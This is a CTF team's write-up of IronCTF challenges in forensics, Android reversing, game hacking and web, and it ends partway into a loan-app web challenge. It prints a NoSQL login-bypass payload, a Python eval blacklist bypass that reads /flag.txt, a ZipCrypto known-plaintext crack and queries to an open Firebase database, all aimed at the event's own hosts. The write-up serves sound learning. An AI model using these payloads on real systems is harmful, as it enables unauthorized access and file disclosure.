IronCTF
Hello CTFers. This was another great CTF conducted by a accomplice of mine. Team 1nf1n1ty
conducted a banger of a CTF, that had great challenges amongst others. We, H7Tex
placed 50th out of 1033 teams. Even though, I couldn’t contribute much during CTF as I was travelling, l hope to make write-ups for almost all challenges.
1
Players: Abu, PattuSai, N1sh, MrGhost
Forensics
Random Pixels
My Image accidently fell into a pixel mixer can you help me recover it?
Author: OwlH4x
Given: chal.zip
1
2
3
4
└─$ unzip chal.zip
Archive: chal.zip
inflating: enc.py
inflating: encrypted.png
Unzipping the zip, we get 2 files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import random, time, numpy
from PIL import Image
from secret import FLAG
def randomize(img, seed):
random.seed(seed)
new_y = list(range(img.shape[0]))
new_x = list(range(img.shape[1]))
random.shuffle(new_y)
random.shuffle(new_x)
new = numpy.empty_like(img)
for i, y in enumerate(new_y):
for j, x in enumerate(new_x):
new[i][j] = img[y][x]
return numpy.array(new)
if __name__ == "__main__":
with Image.open(FLAG) as f:
img = numpy.array(f)
out = randomize(img, int(time.time()))
image = Image.fromarray(out)
image.save("encrypted.png")
At first glance this seems like the PNG file has been scrambled with the randomize()
function. In depth, what happens is, the code scrambles an image using a pseudo-random number generator (PRNG) seeded by the current UNIX timestamp using int(time.time())
. The image is randomized by shuffling its pixel positions, which makes the output look like random noise. However, this method is vulnerable because the seed used for shuffling is based on the UNIX timestamp, which can be recovered using metadata. Also, when we look at the encryption script,
- The image is loaded and its pixels are scrambled based on two lists (
new_x
andnew_y
) generated by shuffling the x and y coordinates. - The shuffle is deterministic as it relies on
random.seed(seed)
. Therefore, if you know the seed, you can reverse the process by performing the same shuffle in reverse.
Cool thing is that, we can find the seed of the image by looking at the times of the encrypted PNG, from exiftool
. I did a similar challenge for H7CTF, this is cool to see.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ exiftool encrypted.png
ExifTool Version Number : 12.76
File Name : encrypted.png
Directory : .
File Size : 22 kB
File Modification Date/Time : 2024:10:03 02:32:40+05:30
File Access Date/Time : 2024:10:07 17:28:41+05:30
File Inode Change Date/Time : 2024:10:07 17:17:22+05:30
File Permissions : -rwxrwxrwx
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 300
Image Height : 300
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Image Size : 300x300
Megapixels : 0.090
Let’s take the time from File Modification Date/Time
which is 2024:10:03 02:32:40+05:30
[+5:30 is not required, as it’s just giving it in IST], as it mentions the time when the image was modified, so a good place to start. Convert the date to a timestamp with some online epoch convertor tool as follows.
Therefore, the UNIX timestamp at hand is 1727902960
, using that as the seed to reverse the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random, numpy
from PIL import Image
def randomize(img, seed):
random.seed(seed)
orig_y = list(range(img.shape[0]))
orig_x = list(range(img.shape[1]))
random.shuffle(orig_y)
random.shuffle(orig_x)
original = numpy.empty_like(img)
for i, y in enumerate(orig_y):
for j, x in enumerate(orig_x):
original[y][x] = img[i][j]
return original
if __name__ == "__main__":
path = "encrypted.png"
encImage = Image.open(path)
encArray = numpy.array(encImage)
seed = 1727902960
revImageArray = randomize(encArray, seed)
revImage = Image.fromarray(revImageArray)
revImage.save("flag.png")
print("Process Done!")
After running, the script we get a QR! Then we use a tool called zbarimg
, which scans and decodes bar codes from image file right in the CLI.
1
2
3
└─$ zbarimg flag.png
QR-Code:ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}
scanned 1 barcode symbols from 1 images in 0.04 seconds
Flag: ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}
Game of Hunt
A Cryptic Voyage
Author: tasarmays
Given: upsidedown.txt
We are given a huge binary file, opening it in cyberchef
, and decrypting it from binary, we see it makes somewhat of like a directory listing, and further converting it to hex [I found this after some trial and error], we see the last section of the data end with, 04 03 4b 50
, which is the reverse of a zip file format.
When we try to unzip the file, it gives out an error.
1
2
3
4
5
6
7
8
└─$ unzip download.zip
Archive: download.zip
error [download.zip]: missing 20957899 bytes in zipfile
(attempting to process anyway)
error [download.zip]: start of central directory not found;
zipfile corrupt.
(please check that you have transferred or created the zipfile in the
appropriate BINARY mode and that you have compiled UnZip properly)
using —fixfix
tag to try and fix the file.
1
2
3
4
5
6
└─$ zip --fixfix download.zip --out fixed.zip
Fix archive (-FF) - salvage what can
Found end record (EOCDR) - says expect single disk archive
Scanning for entries...
copying: (0 bytes)
copying: (3273347146 bytes)
But this didn’t work as well, and I was stuck here for a while, until I switched the mode to bytes from character in reverse, cause character reversing usually takes place in a text file, for files reversing, bytes is more common. After unzipping, we find a lot of PDF files, and sorting by size, we see a PDF with a different size [7 KB].
Then, we extract the text from the PDF. We notice that it’s BrainFuck
.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ pdf2txt download/ilovepdfs/document_83.pdf > output.txt
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/ironCTF/forensics/gameHunt]
└─$ cat output.txt
How do you feel now, find the hidden esolang :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.++++++++
+.---.-.<---.+++++++++++++++++.--------------.>+++++++++++++.<+++++++++++++++++
++.>------------.+++++
+.<++++++.++.>---.<++++.------.>++.<+++++++++.---.------.+++++++.+
++.+++++.---------.>-.
+.+++++++++.
Decoding that we get the flag.
Flag: ironCTF{You_are_the_finest}
Uncrackable Zip
I forgot to ask my friend for the password to access the secret webpage, and now he’s unavailable. I’ve tried guessing the password, but it’s been unsuccessful. My friend is very security-conscious, so he wouldn’t use an easy-to-guess password. He’s also an Emmet enthusiast who relies heavily on code generation shortcuts. Can you help me figure out how to access the secret webpage?
Author: AbdulHaq
Given: website.zip
Initially, you try to bruteforce the zip with all kinds of wordlists, to which the zip file doesn’t even budge. Then we read the description carefully, we see that the friend like emmet
, which is a toolkit for web-developers, that allow you to store and re-use commonly used code chunks.
Reading the documentation and all that, even before that, we know that the HTML files start with the OG syntax, and since we know some starting bytes of the plaintext, we can implement a known-plaintext attack on the zip file. For this we can bring out a legendary tool called bkcrack
.
1
2
3
4
5
6
└─$ ./bkcrack -L website.zip
bkcrack 1.7.0 - 2024-05-26
Archive: website.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 ZipCrypto Store 7a0a2e19 274 286 index.html
We see that it uses the ZipCrypto
encryption and the Store
compressions. Important things to note.
Now, we can create a duplicate index.html
with about 12 bytes or more of a known plaintext, which we know from the hints in the description.
We use the following known plaintext.
1
2
3
4
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
Also, here’s a guide on this that we can refer to.
Now, we can zip this index.html file with the appropriate encryption and compression techniques, essentially, matching the one in the encrypted zip file.
1
zip -r -e -P "1" -0 index.zip index.html
This command creates a ZIP file (index.zip
) containing the file index.html
. The contents of index.html
are not compressed [Store
] (because of the -0
flag) and are encrypted with the password "1"
using ZipCrypto.
Had some issues in cracking the zip with the same procedure. Was stuck here for a while. Then while looking at the hex bytes of the plaintext index.html
.
1
2
3
4
5
6
└─$ xxd index.html
00000000: 3c21 444f 4354 5950 4520 6874 6d6c 3e0a <!DOCTYPE html>.
00000010: 3c68 746d 6c20 6c61 6e67 3d22 656e 223e <html lang="en">
00000020: 0a3c 6865 6164 3e0a 2020 2020 3c6d 6574 .<head>. <met
00000030: 6120 6368 6172 7365 743d 2255 5446 2d38 a charset="UTF-8
00000040: 223e 0a
We can see that it uses the LF
terminator. Now time for some googling.
Changing LF
into CRLF
[Carriage Return and Line Feed, which are special characters used to indicate the end of a line in text files and other software code]
- LF (
\n
, 0x0A): The Unix/Linux standard for line endings. - CRLF (
\r\n
, 0x0D 0x0A): The Windows standard for line endings.
1
2
3
4
5
6
└─$ ./bkcrack -L index.zip
bkcrack 1.7.0 - 2024-05-26
Archive: index.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 ZipCrypto Store 97eb7647 67 79 index.html
Making sure, it’s all good in the encryption [ZipCrypto
] and the compression [Store
] parts. Now, we run again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ./bkcrack -C website.zip -c index.html -p index.html -U decrypt.zip 1
bkcrack 1.7.0 - 2024-05-26
[21:39:28] Z reduction using 64 bytes of known plaintext
100.0 % (64 / 64)
[21:39:28] Attack on 125771 Z values at index 6
Keys: a18ba181 a00857dd d953d80f
78.2 % (98325 / 125771)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 98325
[21:45:11] Keys
a18ba181 a00857dd d953d80f
[21:45:11] Writing unlocked archive decrypt.zip with password "1"
100.0 % (1 / 1)
Wrote unlocked archive.
Yessir. Shout-out to @Zukane
for helping me out on this.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ cat index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flag</title>
</head>
<body>
ironCTF{Wh0_us35_Z1pCrypt0_wh3n_kn0wn_PlA1nt3xt_a7t4cks_ex1s7?}
</body>
</html>
Flag: ironCTF{Wh0_us35_Z1pCrypt0_wh3n_kn0wn_PlA1nt3xt_a7t4cks_ex1s7?}
Air Message
what a noisy audio file, probably nothing useful… Wrap your flag in the format ironCTF{…}
Author: OwlH4x
Hint: The output file is a 8bit mono PCM wav file
Given: out.wav
At first glance, almost all would have figured out there was a morse
hidden in the file. I used this tool that @lans
recommended after the event.
Running the morse-analyzer.exe
on the file. It really did spit out the morse
LOL.
Then, we just use a morse
decoder to finish off the job. But really I think the indented method might be to clean up the WAV file, do some tweaking’s on the pitch, hertz and whatnot.
Flag: ironCTF{W3LC0M370D5P}
8-ball Game
An 8-ball pool player has planned a strategy for the next three quarters match. I would like to know what the strategy is. Can you help me find out?
Given: One Drive
We see a huge disk.tar
file for about 990MB. Extracting that we get a disk.001
file, which turns out to be a boot sector image.
1
2
└─$ file disk.001
disk.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 523479040, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 2027519, $MFT start cluster 84480, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08c108c72108c64d4; contains bootstrap BOOTMGR
Mounting the file we see lot of a loop holes to fall into.
1
sudo mount -o loop,ro disk.001 /mnt/8/
Now, I’ll refer @q4say
- only person to blood and solve this challenge. Full credits to him.
Diving into Documents\flag
, we see a lot of PNG pieces.
1
2
3
4
5
6
7
┌──(abu㉿Abuntu)-[/mnt/8/Documents/flag]
└─$ ls
'Drake m' piece_14_40.png piece_20_25.png piece_25_1.png piece_30_4.png piece_35_36.png piece_4_21.png
'Drake p' piece_14_4.png piece_20_26.png piece_25_20.png piece_30_5.png piece_35_37.png piece_4_22.png
piece_10_10.png piece_14_5.png piece_20_27.png piece_25_21.png piece_30_6.png piece_35_38.png piece_4_23.png
piece_10_11.png piece_14_6.png piece_20_28.png piece_25_22.png piece_30_7.png piece_35_39.png piece_4_24.png
piece_10_12.png piece_14_7.png piece_20_29.png piece_25_23.png piece_30_8.png
Here’s a script written by @q4say
to piece them all together.
1
2
3
4
5
6
7
8
9
10
11
12
mkdir out
for i in $(seq 1 40);
do
convert piece_{1..40}_${i}.png -append out/output_${i}.png
done
cd out
for i in $(seq 1 40);
do
convert output_${i}.png -rotate 90 r90/90_output_${i}.png
done
cd r90
convert 90_output_{1..40}.png -append final.png
Seems like, this was another loop hole LOL.
Other one to note, is under /Documents/fff
1
2
3
┌──(abu㉿Abuntu)-[/mnt/8/Documents/fff]
└─$ cat flag\ description
flag is not here all the best try well check all the file don't take anything as silly. but i know he loved this "Let's set each other's lonely night, be each other's paradise" i don't know what it is may be key check all the possible
We see, it’s a Justin Bieber song, then we dive into hitsong.wav
, there seems to a be a lot of highs and lows in the spectrogram of the audio file. Binary data.
Here is a still from @q4say
’s write-up.
I have no idea, how he extracted the 0s and 1s. Seems hella confusing to me. Anyways here is the extracted binary data.
1
2
3
4
01101001011100100110111101101110010000110101010001
00011001111011011010010101111101100011011010000110
00010110110001101100011001010110111001100111011001
010101111101111001011011110111010101111101
Flag: ironCTF{i_challenge_you}
Warmup
Mango
Mangoes are good for health! do you know what else are good for health? well, check my website about nutritious fruits!
Author: Vigneswar
We see a potential NoSQL injection vulnerability, we can exploit the vulnerability by passing in the payload: username[$eq]=admin&password[$ne]=1
.
[NoSQL injection | HackTricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection) |
But, there was anther wild way to do this in an unintentional way. Just by visiting /admin/index
we get the flag. FFUF
to the rescue.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ curl https://mango.1nf1n1ty.team/admin/index
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Index</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="admin-container">
<h1>Admin Panel</h1>
<p>Here is the flag: <strong>
ironCTF{I_Said_M@nG0_N0t_M0ngo!}
Flag: ironCTF{I_Said_M@nG0_N0t_M0ngo!}
Treasure Hunt
I like colors and solving puzzles. What is better than having an app that brings both of them together?
Author: p3rplex3d
Given: TreasureHunt.apk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ apktool d TreasureHunt.apk -o output
I: Using Apktool 2.7.0-dirty on TreasureHunt.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/abu/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
Running this APK on an emulator (My Phone LOL), there’s pretty much just a image over there.
First part was in /res/layout/activity_main.xml
Found the second part at /res/values/strings.xml
Flag: ironCTF{3ver_h3ard_0f_4ndro1d_r3v?}
Miscellaneous
John’s Cryptic Stories
John’s skill with flags is unmatched; perhaps the little taps he deciphers hold the secret in the story.
NOTE: Discord Bot
Author: l0h1nth
Onto Discord we go. The bot can be called with the command !help
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Part 0:
The hacker-name-John was well known in the underground
He was known-for-his-skills and could solve even the-toughest-challenges
Late one night. He began-working on a new challenge.
It seemed easy at first. but there was more than met the eye. He tried.
Part 1:
He focused. He concentrated. He adapted. He started-seeing-patterns that others missed
He is good. He recognized these hidden clues. With each-clue, his-understanding deepened. His-dedication was unwavering
John could feel the pressure.He struggled. can crack-this, he thought
Time was running-out, but he stayed calm.
Every keystroke mattered. He waited. He was almost at the end. Happiness-was filled
Part 2:
Finally. the last piece of the challenge was in place. Success was his. and he-couldn't help-but smile
The breakthrough had come at last. after-long-hours-of-perseverance
His dedication had paid off. Every-detail every clue. that had led to this moment.
He admired. his work with a sense of accomplishment. The hacker-name-John had done it again. solving-the unsolvable
Part 3:
He knew this victory was just one of many-to-come, and with that thought. He prepared. He awaited for his next challenge.
As dawn broke. John-reflected on the journey.
Each challenge had sharpened his skills. In each victory. He had strengthened his-resolve
He looked-forward to new-challenge. New mysteries to unravel. New challenges.
The world of hacking was full of secret.He was confident. He believed. He was ready to uncover them all.
Now, we see a lot of odd -
at random places. When analyzing more carefully, we need dots(.)
dashes(-)
and line-breaks represent spaces. Now time to extract.
1
-- ----- .-. ... ...-- ..--.- ..- -. ...- ...-- .---- .-.. ..--.- --... .-. ..- --... ....
Flag: ironCTF{M0RS3_UNV31L_7RU7H}
Android
Fire in the Base Camp
I was playing with the dice when I heard about the fire in the base camp. Can you get there on time?
Author: p3rplex3d
Given: Fire_in_the_Base_Camp.apk
1
2
└─$ file Fire_in_the_Base_Camp.apk
Fire_in_the_Base_Camp.apk: Android package (APK), with gradle app-metadata.properties
In new territory here, Android here I come. Let’s decompile the APK with apktool
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ apktool d Fire_in_the_Base_Camp.apk -o output
I: Using Apktool 2.7.0-dirty on Fire_in_the_Base_Camp.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/abu/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
Under /res/values/strings.xml
. We find something interesting.
1
2
3
4
5
6
7
8
9
10
<string name="fb1">/is/this/the/flag</string>
<string name="fb2">/i/think/this/is/the/one</string>
<string name="fb3">/seriously/give/me/the/flag/now</string>
<string name="fb4">/please/give/it/to/me</string>
<string name="fburl">https://app3-7d107-default-rtdb.firebaseio.com/</string>
<string name="gcm_defaultSenderId">985578571021</string>
<string name="google_api_key">AIzaSyB5CLXsgdvoVA9hpKp5a1lRy1E_ixky89I</string>
<string name="google_app_id">1:985578571021:android:9559151c1132353abddc44</string>
<string name="google_crash_reporting_api_key">AIzaSyB5CLXsgdvoVA9hpKp5a1lRy1E_ixky89I</string>
<string name="google_storage_bucket">app3-7d107.appspot.com</string>
See a critical endpoint. https://app3-7d107-default-rtdb.firebaseio.com/
We can try to attempt to query fburl
, the Firebase database for any relevant information. If there are no authentication barriers, data may be accessible. Let’s use curl
to do the job.
1
curl 'https://app3-7d107-default-rtdb.firebaseio.com/.json'
The .json
at the end is required for Firebase Realtime Database REST API queries, as it returns the data in JSON format. And that does the job.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"flag": "ironCTF{fak3_f1ag}",
"please": {
"f1": "ironCTF{",
"f2": "1s_th",
"f3": "15_7h3_",
"f4": "r1ght",
"f5": "fl4g}",
"give": {
"me": {
"the": {
"flag": {
"f1": "ironCTF{",
"f2": "y0u_pu",
"f3": "7_0u7_t",
"f4": "h3_f1",
"f5": "r3_1n_t",
"f6": "h3_b4s",
"f7": "3_c4mp",
"f8": "_1f84a5",
"f9": "c66ff5}"
}
}
}
}
}
}
Flag: ironCTF{y0u_pu7_0u7_th3_f1r3_1n_th3_b4s3_c4mp_1f84a5c66ff5}
Secure Vault
Can you log in?
Author: p3rplex3d
Given: secure_vault.apk
1
2
└─$ file secure_vault.apk
secure_vault.apk: Android package (APK), with zipflinger virtual entry
And we see a Flutter APK. So we come across a new tool called blutter
.
And it also seems like I don’t have Flutter installed as well. Another thing I was impressed about blutter
, is the following fact.
The blutter.py
will automatically detect the Dart version from the flutter engine and call executable of blutter
to get the information from libapp.so
. This is cool.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ python3 ../../../Resources/blutter/blutter.py lib/arm64-v8a/ arm64Output
Dart version: 3.2.6, Snapshot: f71c76320d35b65f1164dbaa6d95fe09, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asserts arm64 android compressed-pointers null-safety
Cloning into '/mnt/c/Documents4/CyberSec/Resources/blutter/dartsdk/v3.2.6'...
remote: Enumerating objects: 2588, done.
remote: Counting objects: 100% (2588/2588), done.
remote: Compressing objects: 100% (2100/2100), done.
remote: Total 2588 (delta 85), reused 1525 (delta 57), pack-reused 0 (from 0)
Receiving objects: 100% (2588/2588), 1.53 MiB | 3.28 MiB/s, done.
<>
-- Installing: /mnt/c/Documents4/CyberSec/Resources/blutter/dartsdk/v3.2.6/../../packages/lib/cmake/dartvm3.2.6_android_arm64/dartvm3.2.6_android_arm64ConfigVersion.cmake
-- Configuring done (4.8s)
-- Generating done (0.1s)
-- Build files have been written to: /mnt/c/Documents4/CyberSec/Resources/blutter/build/blutter_dartvm3.2.6_android_arm64
[22/22] Linking CXX executable blutter_dartvm3.2.6_android_arm64
-- Install configuration: "Release"
-- Installing: /mnt/c/Documents4/CyberSec/Resources/blutter/blutter/../bin/blutter_dartvm3.2.6_android_arm64
libapp is loaded at 0x7fb959d87000
Dart heap at 0x7fb800000000
Analyzing the application
Dumping Object Pool
Generating application assemblies
Generating Frida script
Done. This took like solid 8 minutes. After that, you just browse into /asm/adminvault/main.dart
and amongst a couple of fake flags, extract a base64 string to get the real one.
1
2
3
4
5
6
7
8
// 0x279618: r16 = Instance_Base64Codec
// 0x279618: ldr x16, [PP, #0x1460] ; [pp+0x1460] Obj!Base64Codec@47da51
// 0x27961c: r30 = "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0="
// 0x27961c: add lr, PP, #0xa, lsl #12 ; [pp+0xaf28] "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0="
// 0x279620: ldr lr, [lr, #0xf28]
// 0x279624: stp lr, x16, [SP]
// 0x279628: r0 = decode()
// 0x279628: bl #0x27aad0 ; [dart:convert] Base64Codec::decode
Now, simple decoding. This is so fun.
1
2
└─$ echo "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0=" | base64 -d
ironCTF{0h_my_g0d!!_y0u_br0k3_int0_th3_4pp_4f6e22cba}
Flag: ironCTF{0h_my_g0d!!_y0u_br0k3_int0_th3_4pp_4f6e22cba}
Is This Android
I built this calculator for my Computer Science Project and my professor was baffled because there is more it than meet’s the eye.
Authors: AbdulHaq
& p3rplex3d
Given: Calculator.apk
1
2
└─$ file Calculator.apk
Calculator.apk: Android package (APK), with zipflinger virtual entry
Seems like this is an another Flutter application. Let’s bring in blutter
one more time.
1
└─$ python3 ../../../Resources/blutter/blutter.py lib/arm64-v8a/ arm64Output
That took 9 minutes. Under /asm/ctf_app1
, we find the main sources. And under calc.dart
, which seems to be the actual source behind the calculator application. We find a hard-coded URL. Shout-out to @FrontS
on Discord for guiding me.
https://calc.1nf1n1ty.team/calculate
Trying to GET request the site.
1
2
└─$ curl -X GET https://calc.1nf1n1ty.team/calculate
/home/user/app.py
Sort of gives us the directory listing of the file. Nothing much here. Let’s try POST.
1
2
3
4
5
6
7
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate
<!doctype html>
<html lang="en">
<title>415 Unsupported Media Type</title>
<h1>Unsupported Media Type</h1>
<p>Did not attempt to load JSON data because the request Content-Type was not 'application/json'.</p>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8d07b9cf6c893e30',t:'MTcyODU3NTAwNC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
Oh something different, let’s open that on burp
.
Sending the POST request on burp
, we still get that unsupported media type error.
After spending some more time in figuring out what type of input the server accepts, I come across a string, couple of blocks below the URL.
expression
, seems like we can pass input with this string. But I have no idea how or where to use this input header. Also I found this endpoint, no idea what’s it for.
Oh shoot, that’s a Cloudflare
use case. LOL.
Ah, there’s always the CLI and curl
to turn back to. Since this is a python server, and probably uses the eval()
for the calculator application, let’s try and read the flag with the payload. open('/flag.txt').read()
Quite simple, except that it didn’t work.
1
2
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate -H "Content-Type: application/json" -d '{"expression": "open('/flag.txt').read()"}'
{"result":"unsafe to execute g not allowed"}
Well, that got blocked, now looking for other types of payload to bypass this filter. This happened.
open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()
Basically, the idea is to bypass the filter by convert the characters of the payload to it’s ASCII codes and execute it on the server side as normal characters. And that worked. Yessir!
1
2
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate -H "Content-Type: application/json" -d '{"expression": "open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()"}'
{"result":"ironCTF{aa4a7a86d4beb072c814af4400c7d1fbf09cf9b5}"}
Flag: ironCTF{aa4a7a86d4beb072c814af4400c7d1fbf09cf9b5}
Here’s FrontS
write-up for the challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Seeing the apk was created using Flutter, I decided to disassemble it using blutter.
In the disassembled code, it's possible to see that the app seemed to have a
hardcoded URL within.
In the source, a POST request with json content type was being created with the
key of "expression" to be sent to https://calc.1nf1n1ty.team/calculate
Making a GET request to https://calc.1nf1n1ty.team/calculate
reveals the application's source code location being "/home/user/app.py".
However I wasn't able to find any use of it.
Crafting a POST request exactly as the code mentions, it's possible to see that
the value to the "expression" you provide, i.e {"expression":"5*5"} results in 25,
essentially calculating it.
However, after debugging it a bit, it's possible to deduce that we are within a
python application which probably used eval(), though there was a very
constraining blacklist: no unicode chars allowed except numbers and mathematical operators.
To bypass this, it's feasible to use unicode characters that would get interpreted as their ascii counterparts in python.
A little bit guessing and experience from other challenges made me think that
the flag would be located at /flag.txt, which eventually turned out to be right,
so our objective is to use a payload like open('/flag.txt').read().
With this payload in mind, even if I convert it to unicode characters,
quotes and slash seem to be a problem. Whichever different unicode variant
of those two I tried, python didn't like them so it's time to think of something else.
In python, the easiest way I could think of was by using chr(num),
which does not require neither slash nor quotes.
And since + is a mathematical operator which was not blacklisted,
it was possible to add chr(num)'s by combining them with + to create '/flag.txt'.
The final payload came to be this:
𝕠𝕡𝕖𝕟(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).𝕣𝕖𝕒𝕕()
Game Hacking
Now let’s dive into yet another new territory. It got me all feelings.
gotta hack em all
Find the all parts of flag by hacking this.
ironCTF{Combine all flag parts}
Author: AbdulHaq
Given: hack-em-all.zip
Using zipinfo
, we see a lot of musical files [.mid
& .ogg
]. Anyways, we see Game.exe
and run it. Woah, an actual game loads up !
This is so cool. Oh my goodness.
While playing the game, we find out the task it to meet the gentlemen and get a cup of tea from him, catch is that the entire plot is blocked by the grass barrier.
Here is the chef outside the grass barrier.
Well, there was no visible or fair way to meet the chef, so we resort to hack it. We use a tool, RPGMakerDecrypter
, which is a tool for extracting RPG Maker XP, VX and VX Ace encrypted archives.
But before that.
You see this Game.rgssad
file, that is the one we targeting. It contains all the juicy information.
We also need the RPG Maker software.
[Downloads And Free Trials | RPG Maker | Make Your Own Game!](https://www.rpgmakerweb.com/downloads) |
This is the one I downloaded. Please don’t ask me why LOL.
Note: Run the RPGVX_E.exe
as administrator.
Unfortunately, we need a .vsproj
file, that is required by the RPG maker, but we don’t have one. So, we look for other ways.
With little hope left, I turn to Discord for answers, and answers they gave. Shout-out to @actors
and @Adya
and all other fellow CTFers.
You actually had to install the RPG Maker XP. Here is the reasoning from @actors
.
Once, you install the whole Maker thing, copy the contents of both the initial challenge files and the files extracted from the Decryptor. Here are the contents of the game directory.
After all that, press F12
to compile and run the game.
Then, you might see the new Debug
option, which is cool. Now, you know you’re in it for real.
You can play around with the Debug option, for instance here I made it snow.
After a while, I pinged the author about this, we don’t me there’s another way to solve it, but I’m pretty sure that someone skilled can do it this way.
So in the the /Data
folder that the RPGMakerDecryptor
made, two files apparently had the flags in parts.
Map042.rxdata
and items.dat
.
Note: ironCTF{Part 1 + Part 3 + Final Part}
Under items.dat
1
Part1 of the challenge flag is 840c77995d which will motivate you to find the whole flag.
Under Map042.rxdata
1
2
3
Granny Hazel: "Oh my stars, you actually did it! You've got quite the knack for this,
don't you? Here's the third part of the flag";i;ijo;
["'pbAddForeignPokemon(:SHUCKLE, 20, ;i;ico;["&_I("aaaaa"), _I("d886cac6f9")
1
2
3
4
Granny Hazel: "Oh, you've done it, dear! You've opened the suitcase! I'm ever so grateful.
Here's the final part of the flag as promised. You've been such a great ;i;ijo;["
help!";i;i�o;[")pbAddForeignPokemon(:BULBASAUR, 20, ;i;ico
["%_I("fdb8"), _I("f9d4d6b501")
Flag: ironCTF{840c77995dd886cac6f9f9d4d6b501}
Web
Loan App
UH! i keep getting rejected by my loan manager! I wish there was a way to approve it myself 😉
Author: Vigneswar
Given: app.zip
Both the username and passwords had to be valid UUIDs in order to register/login.
1
2
3
4
5
6
7
8
9
10
└─$ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> abu = uuid.uuid4()
>>> print(abu)
1bc1fe55-1ead-4ae0-b133-837452062299
>>> abu123 = uuid.uuid4()
>>> print(abu123)
2cc9ca8a-4695-43fb-8dbd-b799c06a258c
After checking the source, we find this interesting part.
1
2
3
4
5
6
7
@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
try:
